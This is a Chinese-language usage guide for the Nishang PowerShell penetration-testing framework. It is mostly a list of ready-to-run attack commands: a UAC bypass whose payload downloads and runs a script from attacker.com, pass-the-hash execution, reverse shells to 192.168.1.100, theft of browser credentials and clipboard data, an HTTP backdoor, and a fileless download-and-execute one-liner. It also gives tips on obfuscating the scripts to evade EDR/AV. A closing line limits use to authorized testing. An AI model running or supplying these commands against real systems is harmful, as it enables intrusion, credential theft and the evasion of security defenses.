Nishang是一个基于PowerShell的渗透测试框架,专为红队、渗透测试人员和网络安全研究人员设计。它集成了大量实用的PowerShell脚本,可用于渗透测试的各个阶段。
Nishang的主要特点: - 完全基于PowerShell - 提供从侦察到权限提升、横向移动、数据窃取等完整攻击链工具 - 支持内存执行,避免写入磁盘 - 可与Metasploit、Cobalt Strike等工具集成
git clone https://github.com/samratashok/nishang.git
cd nishang
从GitHub发布页面下载最新zip包并解压: https://github.com/samratashok/nishang/releases
Import-Module .\nishang.psm1
Get-Command -Module nishang
# 获取系统信息
.\Gather\Get-Information.ps1
# 检查本地管理员权限
.\Escalation\Invoke-EnumerateLocalAdmin.ps1
# 检查可用的权限提升漏洞
.\Escalation\Invoke-PowerUp.ps1 -Check
# 尝试绕过UAC
.\Escalation\Invoke-PsUACme.ps1 -Payload "powershell -exec bypass -nop -c IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/rev.ps1')"
# 使用WMI执行命令
.\Execution\Invoke-WMICommand.ps1 -ComputerName target-pc -Credential domain\user -ScriptBlock {whoami}
# Pass the hash攻击
.\Execution\Invoke-WMIExec.ps1 -Target target-pc -Domain domain -Username user -Hash LMHASH:NTHASH -Command "net user"
# 基本反向Shell
.\Shells\Invoke-PowerShellTcp.ps1 -Reverse -IPAddress 192.168.1.100 -Port 4444
# 使用SSL加密的反向Shell
.\Shells\Invoke-PowerShellTcpOneLineSSL.ps1 -IPAddress 192.168.1.100 -Port 443
# 从浏览器窃取凭据
.\Gather\Get-BrowserData.ps1
# 获取剪贴板内容
.\Gather\Get-ClipboardContents.ps1
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/nishang/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.100 -Port 4444
.\Utility\Out-EncodedCommand.ps1 -ScriptPath .\Shells\Invoke-PowerShellTcp.ps1
.\Client\HTTP-Backdoor.ps1 -PayloadURL http://attacker.com/payload.ps1 -MagicString start123 -StopString stop123
使用Nishang时需要注意: - 大多数现代EDR/AV会检测Nishang脚本 - 建议进行代码混淆或自定义修改 - 考虑使用约束语言模式绕过限制
请记住,这些工具仅应用于合法的渗透测试和安全研究,未经授权的使用可能违反法律。